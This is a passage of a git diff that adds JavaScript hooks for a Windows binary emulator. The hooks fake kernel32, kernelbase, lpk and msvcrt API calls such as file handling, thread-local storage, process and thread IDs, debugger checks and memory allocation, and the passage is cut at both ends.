hConsoleHandle, + _Out_ LPDWORD lpMode +); +*/ +GetConsoleMode.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var hConsoleHandle = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpMode = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + + // log("GetConsoleMode(0x{0},{1})".format( + // hConsoleHandle.toString(16), + // lpMode.toString(16) + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetConsoleMode.install('kernel32.dll', 'GetConsoleMode'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var Wow64DisableWow64FsRedirection = new ApiHook(); +/* +BOOL WINAPI Wow64DisableWow64FsRedirection( + _Out_ PVOID *OldValue +); +*/ +Wow64DisableWow64FsRedirection.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var OldValue = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + log("Wow64DisableWow64FsRedirection(0x{0})".format( + OldValue.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +Wow64DisableWow64FsRedirection.install('kernel32.dll', 'Wow64DisableWow64FsRedirection'); + +/* +################################################################################################### +################################################################################################### +*/ + +var InitializeSListHead = new ApiHook(); +/* +void InitializeSListHead( + PSLIST_HEADER ListHead +); +*/ +InitializeSListHead.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var ListHead = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + log("InitializeSListHead(0x{0})".format( + ListHead.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +InitializeSListHead.install('kernel32.dll', 'InitializeSListHead'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/kernel32_files.js b/Build/hooks/kernel32_files.js new file mode 100644 index 0000000..753e5b0 --- /dev/null +++ b/Build/hooks/kernel32_files.js @@ -0,0 +1,96 @@ +'use strict'; + +var WriteFile = new ApiHook(); +/* +BOOL WriteFile( + HANDLE hFile, + LPCVOID lpBuffer, + DWORD nNumberOfBytesToWrite, + LPDWORD lpNumberOfBytesWritten, + LPOVERLAPPED lpOverlapped +); +*/ +WriteFile.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var hFile = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpBuffer = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var nNumberOfBytesToWrite = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var lpNumberOfBytesWritten = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + var lpOverlapped = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + + + Emu.WriteDword(lpNumberOfBytesWritten,nNumberOfBytesToWrite); + + log("WriteFile('{0}')".format( + Emu.ReadStringA(lpBuffer,nNumberOfBytesToWrite) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +WriteFile.install('kernel32.dll', 'WriteFile'); + +/* +################################################################################################### +################################################################################################### +*/ + +var CreateFile = new ApiHook(); +/* +HANDLE CreateFile( + LPCSTR lpFileName, + DWORD dwDesiredAccess, + DWORD dwShareMode, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, + DWORD dwFlagsAndAttributes, + HANDLE hTemplateFile +); +*/ +CreateFile.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var lpFileName = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwDesiredAccess = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var dwShareMode = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var lpSecurityAttributes = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var dwCreationDisposition = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var dwFlagsAndAttributes = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + var hTemplateFile = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 16) : Emu.pop(); + + + warn("{0}('{1}', 0x{2}, 0x{3}, 0x{4}, 0x{5}, 0x{6}, 0x{7})".format( + API.name, + API.IsWapi ? Emu.ReadStringW(lpFileName) : Emu.ReadStringA(lpFileName), + dwDesiredAccess.toString(16), + dwShareMode.toString(16), + lpSecurityAttributes.toString(16), + dwCreationDisposition.toString(16), + dwFlagsAndAttributes.toString(16), + hTemplateFile.toString(16) + )); + + + // TODO: make list of handles with file names so we can track it . + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, Math.random() * 100); // random handle :D + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +CreateFile.install('kernel32.dll', 'CreateFileA'); +CreateFile.install('kernel32.dll', 'CreateFileW'); + +/* +################################################################################################### +################################################################################################### +*/ + + + diff --git a/Build/hooks/kernel32_processes.js b/Build/hooks/kernel32_processes.js new file mode 100644 index 0000000..eadfb17 --- /dev/null +++ b/Build/hooks/kernel32_processes.js @@ -0,0 +1,42 @@ +'use strict'; + +// init fake Process list ¯\_(ツ)_/¯ + +var processes = {0: "System Idle Process", 4: "System"}; + +function GetRandPID () { + + var PID = Math.floor((1 + Math.random()) * 0x1000); + while (PID == 0 || PID == 4) { + PID = Math.floor((1 + Math.random()) * 0x1000); + } + return PID; +} + +var list = ["GoogleUpdate.exe","iexplorer.exe","smss.exe","csrss.exe","winlogon.exe", + "services.exe","lsass.exe","svchost.exe","explorer.exe","firefox.exe"]; + +var PIDS = []; + +for (var i = 0; i < list.length; i++) { + var id = GetRandPID(); + + if (PIDS.indexOf(id) == -1) { + PIDS.push(id); + }else + i--; +} + +for (var i = 0; i < list.length; i++) { + processes[PIDS[i]] = list[i]; +} + +// for (var PID in processes) {info("PID : " + PID + " - " + processes[PID]);} + +/* +################################################################################################### +################################################################################################### +*/ + + + diff --git a/Build/hooks/kernel32_self.js b/Build/hooks/kernel32_self.js new file mode 100644 index 0000000..e2832ee --- /dev/null +++ b/Build/hooks/kernel32_self.js @@ -0,0 +1,101 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var IsDBCSLeadByte = new ApiHook(); +IsDBCSLeadByte.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +IsDBCSLeadByte.install('kernel32.dll', 'IsDBCSLeadByte'); +IsDBCSLeadByte.install('kernelbase.dll', 'IsDBCSLeadByte'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var SetUnhandledExceptionFilter = new ApiHook(); +/* +LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter( + _In_ LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter +); +*/ +SetUnhandledExceptionFilter.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // PC + + var ExceptionFilter = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var SEH = Emu.isx64 ? Emu.ReadQword(Emu.TEB) : Emu.ReadDword(Emu.TEB); + + if (SEH !== -1) { + Emu.isx64 ? Emu.WriteQword(SEH+8,ExceptionFilter) : Emu.WriteDword(SEH+4,ExceptionFilter); + } + + info('0x{0} : SetUnhandledExceptionFilter(Handler = 0x{1})'.format( + ret.toString(16), + ExceptionFilter.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +SetUnhandledExceptionFilter.install('kernel32.dll', 'SetUnhandledExceptionFilter'); + +/* +################################################################################################### +################################################################################################### +*/ + + + + + + +var GetNativeSystemInfo = new ApiHook(); +/* +void WINAPI GetNativeSystemInfo( + _Out_ LPSYSTEM_INFO lpSystemInfo +); +*/ +GetNativeSystemInfo.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // PC + + var lpSystemInfo = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var SYSTEM_INFO = [0x09, 0x00, 0x00, 0x00, // dwOemId + 0x00, 0x10, 0x00, 0x00, // dwPageSize + 0x00, 0x00, 0x01, 0x00, // lpMinimumApplicationAddress + 0xFF, 0xFF, 0xFE, 0xFF, // lpMaximumApplicationAddress + 0x03, 0x00, 0x00, 0x00, // dwActiveProcessorMask + 0x02, 0x00, 0x00, 0x00, // dwNumberOfProcessors + 0xD8, 0x21, 0x00, 0x00, // dwProcessorType + 0x00, 0x00, 0x01, 0x00, // dwAllocationGranularity + 0x06, 0x00, // wProcessorLevel + 0x01, 0x46] // wProcessorRevision + + Emu.WriteMem(lpSystemInfo,SYSTEM_INFO); + + log('GetNativeSystemInfo(0x{0})'.format( + lpSystemInfo.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0x50001); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetNativeSystemInfo.install('kernel32.dll', 'GetNativeSystemInfo'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/kernel32_threads.js b/Build/hooks/kernel32_threads.js new file mode 100644 index 0000000..0bbd319 --- /dev/null +++ b/Build/hooks/kernel32_threads.js @@ -0,0 +1,682 @@ +// @ts-check +/// +/// +/// + +'use strict'; + + +// var CreateThread = new ApiHook(); +// /* +// HANDLE CreateThread( +// LPSECURITY_ATTRIBUTES lpThreadAttributes, +// SIZE_T dwStackSize, +// LPTHREAD_START_ROUTINE lpStartAddress, +// __drv_aliasesMem LPVOID lpParameter, +// DWORD dwCreationFlags, +// LPDWORD lpThreadId +// ); +// */ +// CreateThread.OnCallBack = function (Emu, API, ret) { + +// Emu.pop(); // return address + +// Emu.pop(); // lpThreadAttributes + + + + +// Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); +// return true; // true if you handle it false if you want Emu to handle it and set PC . +// }; +// CreateThread.install('kernel32.dll', 'CreateThread'); +/* +################################################################################################### +################################################################################################### +*/ + +var CloseHandle = new ApiHook(); +/* +CloseHandle +BOOL WINAPI CloseHandle( + _In_ HANDLE hObject +); +*/ +CloseHandle.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var hObject = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + info('CloseHandle(0x',hObject.toString(16),')'); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +CloseHandle.install('kernel32.dll', 'CloseHandle'); + +/* +################################################################################################### +################################################################################################### +*/ + +var TlsSlots = new Array(64); // Global Var :V .. +for (var i = TlsSlots.length - 1; i >= 0; i--) { + TlsSlots[i] = 0; +} + +var TlsIndex = 8; + +var TlsAlloc = new ApiHook(); + +TlsAlloc.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + // print('TlsAlloc = index : ',TlsIndex); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, TlsIndex); + + TlsIndex += 1; + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +TlsAlloc.install('kernel32.dll', 'TlsAlloc'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var TlsGetValue = new ApiHook(); +TlsGetValue.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var index = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var value; + if (index <= 64){ + value = TlsSlots[index]; + }else{ + value = -1; + } + + // print('TlsGetValue(',index,') = ',value.toString(16)); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, value); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +TlsGetValue.install('kernel32.dll', 'TlsGetValue'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var TlsSetValue = new ApiHook(); +TlsSetValue.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var index = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var value = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + if (index <= 64){ + TlsSlots[index] = value; + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + }else{ + value = -1; + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + } + + // print('TlsSetValue({0}, {1})'.format(index,value.toString(16))); + + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +TlsSetValue.install('kernel32.dll', 'TlsSetValue'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var FlsSlots = new Array(128); // Global Var :V .. +for (var i = FlsSlots.length - 1; i >= 0; i--) { + FlsSlots[i] = 0; +} +FlsSlots[1] = (0x40000000 + 0x60000); + +var FlsIndex = 1; + +var FlsAlloc = new ApiHook(); +/* +DWORD WINAPI FlsAlloc( + _In_ PFLS_CALLBACK_FUNCTION lpCallback +); +*/ +FlsAlloc.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + var lpCallback = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + // print('FlsAlloc(0x{0}) = {1} '.format( + // lpCallback.toString(16), + // FlsIndex + // )); + + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, FlsIndex); + + FlsIndex += 1; + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +FlsAlloc.install('kernel32.dll', 'FlsAlloc'); +FlsAlloc.install('api-ms-win-core-fibers-l1-1-0.dll', 'FlsAlloc'); + +/* +################################################################################################### +################################################################################################### +*/ + +var FlsFree = new ApiHook(); +/* +BOOL WINAPI FlsFree( + _In_ DWORD dwFlsIndex +); +*/ +FlsFree.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + var dwFlsIndex = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + // print('FlsFree(0x{0}) = {1} '.format( + // lpCallback.toString(16), + // FlsIndex + // )); + + FlsSlots[FlsFree] = 0; + + // TODO: add ident for index. + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, dwFlsIndex); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +FlsFree.install('kernel32.dll', 'FlsFree'); +FlsFree.install('api-ms-win-core-fibers-l1-1-0.dll', 'FlsFree'); + +/* +################################################################################################### +################################################################################################### +*/ + +var FlsSetValue = new ApiHook(); +/* +BOOL WINAPI FlsSetValue( + _In_ DWORD dwFlsIndex, + _In_opt_ PVOID lpFlsData +); +*/ +FlsSetValue.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var index = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var value = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + var val = -1; + if (index <= 128){ + FlsSlots[index] = value; + val = 1; + } + + // print('FlsSetValue(0x{0}, 0x{1})'.format( + // index.toString(16), + // value.toString(16) + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, val); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +FlsSetValue.install('kernel32.dll', 'FlsSetValue'); +FlsSetValue.install('api-ms-win-core-fibers-l1-1-0.dll', 'FlsSetValue'); + +/* +################################################################################################### +################################################################################################### +*/ + +var FlsGetValue = new ApiHook(); +/* +PVOID WINAPI FlsGetValue( + _In_ DWORD dwFlsIndex +); +*/ +FlsGetValue.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var index = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var value = -1; + + + if (index <= 128){ + value = FlsSlots[index] + } + + // print('FlsGetValue(0x{0}) = 0x{1}'.format(index.toString(16),value.toString(16))); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, value); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +FlsGetValue.install('kernel32.dll', 'FlsGetValue'); +FlsGetValue.install('api-ms-win-core-fibers-l1-1-0.dll', 'FlsGetValue'); + +/* +################################################################################################### +################################################################################################### +*/ +var lastError = 0; + +var GetLastError = new ApiHook(); +GetLastError.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + // print('GetLastError : ',lastError); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetLastError.install('kernel32.dll', 'GetLastError'); +GetLastError.install('api-ms-win-core-errorhandling-l1-1-0.dll', 'GetLastError'); +/* +################################################################################################### +################################################################################################### +*/ + + +var SetLastError = new ApiHook(); +SetLastError.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + lastError = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + // print('SetLastError : ',lastError); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +SetLastError.install('kernel32.dll', 'SetLastError'); +SetLastError.install('api-ms-win-core-errorhandling-l1-1-0.dll', 'SetLastError'); + +/* +################################################################################################### +################################################################################################### +*/ + +var EnterCriticalSection = new ApiHook(); +/* +void EnterCriticalSection( + LPCRITICAL_SECTION lpCriticalSection +); +*/ +EnterCriticalSection.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpCriticalSection = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + // print('EnterCriticalSection(0x',lpCriticalSection.toString(16),')'); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +EnterCriticalSection.install('kernel32.dll', 'EnterCriticalSection'); +EnterCriticalSection.install('api-ms-win-core-synch-l1-1-0.dll', 'EnterCriticalSection'); + +/* +################################################################################################### +################################################################################################### +*/ + +var InterlockedIncrement = new ApiHook(); +/* +unsigned InterlockedIncrement( + _Interlocked_operand_ unsigned *Addend +); +*/ +InterlockedIncrement.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var Addend = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var val = (Emu.isx64 ? Emu.ReadQword(Addend) : Emu.ReadDword(Addend)) + 1; + Emu.isx64 ? Emu.WriteQword(Addend,val) : Emu.WriteDword(Addend,val); + + // print('InterlockedIncrement(0x{0}) = {1}'.format( + // Addend.toString(16), + // val + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, val); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +InterlockedIncrement.install('kernel32.dll', 'InterlockedIncrement'); +InterlockedIncrement.install('api-ms-win-core-interlocked-l1-1-0.dll', 'InterlockedIncrement'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var InterlockedDecrement = new ApiHook(); +/* +unsigned InterlockedDecrement( + _Interlocked_operand_ unsigned *Addend +); +*/ +InterlockedDecrement.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var Addend = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var val = (Emu.isx64 ? Emu.ReadQword(Addend) : Emu.ReadDword(Addend)) - 1; + + Emu.isx64 ? Emu.WriteQword(Addend,val) : Emu.WriteDword(Addend,val); + + // print('InterlockedDecrement(0x{0}) = {1}'.format( + // Addend.toString(16), + // val + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, val); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +InterlockedDecrement.install('kernel32.dll', 'InterlockedDecrement'); +InterlockedDecrement.install('api-ms-win-core-interlocked-l1-1-0.dll', 'InterlockedDecrement'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var LeaveCriticalSection = new ApiHook(); +/* +void LeaveCriticalSection( + LPCRITICAL_SECTION lpCriticalSection +); +*/ +LeaveCriticalSection.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpCriticalSection = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + // print('LeaveCriticalSection(0x',lpCriticalSection.toString(16),')'); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +LeaveCriticalSection.install('kernel32.dll', 'LeaveCriticalSection'); + + +/* +################################################################################################### +################################################################################################### +*/ + + +var GetCurrentThreadId = new ApiHook(); +/* +DWORD GetCurrentThreadId(); +*/ +GetCurrentThreadId.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + print('GetCurrentThreadId = ', 1001); + + Emu.SetReg(REG_EAX, 1001); // DWORD for both x32 & x64 . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetCurrentThreadId.install('kernel32.dll', 'GetCurrentThreadId'); +GetCurrentThreadId.install('api-ms-win-core-processthreads-l1-1-0.dll', 'GetCurrentThreadId'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetCurrentProcess = new ApiHook(); +/* +DWORD GetCurrentProcess(); +*/ +GetCurrentProcess.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + print('GetCurrentProcess = ', 9090); + + Emu.SetReg(REG_EAX, 9090); // DWORD for both x32 & x64 . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +GetCurrentProcess.install('kernel32.dll', 'GetCurrentProcess'); +// GetCurrentProcessId.install('api-ms-win-core-processthreads-l1-1-0.dll', 'GetCurrentProcessId'); +/* +################################################################################################### +################################################################################################### +*/ + +var GetCurrentProcessId = new ApiHook(); +/* +DWORD GetCurrentProcessId(); +*/ +GetCurrentProcessId.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + print('GetCurrentProcessId = ', 1002); + + Emu.SetReg(REG_EAX, 1002); // DWORD for both x32 & x64 . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +GetCurrentProcessId.install('kernel32.dll', 'GetCurrentProcessId'); +GetCurrentProcessId.install('api-ms-win-core-processthreads-l1-1-0.dll', 'GetCurrentProcessId'); +/* +################################################################################################### +################################################################################################### +*/ + +var IsWow64Process = new ApiHook(); +/* +BOOL IsWow64Process( + HANDLE hProcess, + PBOOL Wow64Process +); +*/ +IsWow64Process.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var hProcess = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var Wow64Process = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + warn('IsWow64Process(0x{0},0x{1})'.format( + hProcess.toString(16), + Wow64Process.toString(16) + )); + + Emu.WriteDword(Wow64Process,1); // change it as you like :D + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +IsWow64Process.install('kernel32.dll', 'IsWow64Process'); + +/* +################################################################################################### +################################################################################################### +*/ + +var CheckRemoteDebuggerPresent = new ApiHook(); +/* +BOOL WINAPI CheckRemoteDebuggerPresent( + _In_ HANDLE hProcess, + _Inout_ PBOOL pbDebuggerPresent +); +*/ +CheckRemoteDebuggerPresent.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var hProcess = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var pbDebuggerPresent = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + warn('CheckRemoteDebuggerPresent(0x{0},0x{1})'.format( + hProcess.toString(16), + pbDebuggerPresent.toString(16) + )); + + Emu.WriteDword(pbDebuggerPresent,0); // change it as you like :D + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +CheckRemoteDebuggerPresent.install('kernel32.dll', 'CheckRemoteDebuggerPresent'); + +/* +################################################################################################### +################################################################################################### +*/ + +// win7 x64 - GetThreadLocale = 1033 +var GetThreadLocale = new ApiHook(); +GetThreadLocale.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + // it reads it from TEB . +/* + // GetThreadLocale + 75E026BF | 64:A1 18000000 | mov eax,dword ptr fs:[18] | + 75E026C5 | 8B80 C4000000 | mov eax,dword ptr ds:[eax+C4] | + 75E026CB | C3 | ret | +*/ + return true; +}; +GetThreadLocale.install('kernel32.dll', 'GetThreadLocale'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var DuplicateHandle = new ApiHook(); +/* +BOOL WINAPI DuplicateHandle( + _In_ HANDLE hSourceProcessHandle, + _In_ HANDLE hSourceHandle, + _In_ HANDLE hTargetProcessHandle, + _Out_ LPHANDLE lpTargetHandle, + _In_ DWORD dwDesiredAccess, + _In_ BOOL bInheritHandle, + _In_ DWORD dwOptions +); +*/ +DuplicateHandle.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + var hSourceProcessHandle = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var hSourceHandle = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var hTargetProcessHandle = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var lpTargetHandle = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var dwDesiredAccess = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var bInheritHandle = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 1)) : Emu.pop(); + var dwOptions = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + (8 * 2)) : Emu.pop(); + + + var result = 0; + if (lpTargetHandle !== 0) { + if (hSourceProcessHandle !== 9090){ + Emu.isx64 ? Emu.WriteQword(lpTargetHandle,8080) : Emu.WriteDword(lpTargetHandle,8080); + } + result = 1; + } + + warn("DuplicateHandle(0x{0}, 0x{1}, 0x{2}, Out 0x{3} = 8080, 0x{4}, 0x{5}, 0x{6})".format( + hSourceProcessHandle.toString(16), + hSourceHandle.toString(16), + hTargetProcessHandle.toString(16), + lpTargetHandle.toString(16), + dwDesiredAccess.toString(16), + bInheritHandle.toString(16), + dwOptions.toString(16) + )) + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, result); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; +}; + +DuplicateHandle.install('kernel32.dll','DuplicateHandle'); + diff --git a/Build/hooks/kernelbase.js b/Build/hooks/kernelbase.js new file mode 100644 index 0000000..7890599 --- /dev/null +++ b/Build/hooks/kernelbase.js @@ -0,0 +1,16 @@ +'use strict'; + +var KernelBaseGetGlobalData = new ApiHook(); +KernelBaseGetGlobalData.OnCallBack = function (Emu, API, ret) { + + // let the lib handle it + return true; +}; + +KernelBaseGetGlobalData.install('kernelbase.dll', 'KernelBaseGetGlobalData'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/lpk.js b/Build/hooks/lpk.js new file mode 100644 index 0000000..48a4625 --- /dev/null +++ b/Build/hooks/lpk.js @@ -0,0 +1,32 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var LpkDllInitialize = new ApiHook(); +LpkDllInitialize.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +LpkDllInitialize.install('lpk.dll', 'LpkDllInitialize'); + +/* +################################################################################################### +################################################################################################### +*/ +var LpkPresent = new ApiHook(); +LpkPresent.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +LpkPresent.install('usp10.dll', 'LpkPresent'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/msvcrt.js b/Build/hooks/msvcrt.js new file mode 100644 index 0000000..d82466f --- /dev/null +++ b/Build/hooks/msvcrt.js @@ -0,0 +1,717 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +//TODO : add mem manager . + +var next = 0x40000000; // pla + 0x50000. +var malloc = new ApiHook(); +/* + void *malloc( + size_t size + ); +*/ +malloc.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var size = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP)); + + print('malloc({0}) = 0x{1}'.format( + size, + next.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, next); // just for now :P . + // if (size <= 0x48){ + // size = 0x60; + // } + // next += size; + next = ((next + size) + 0x60 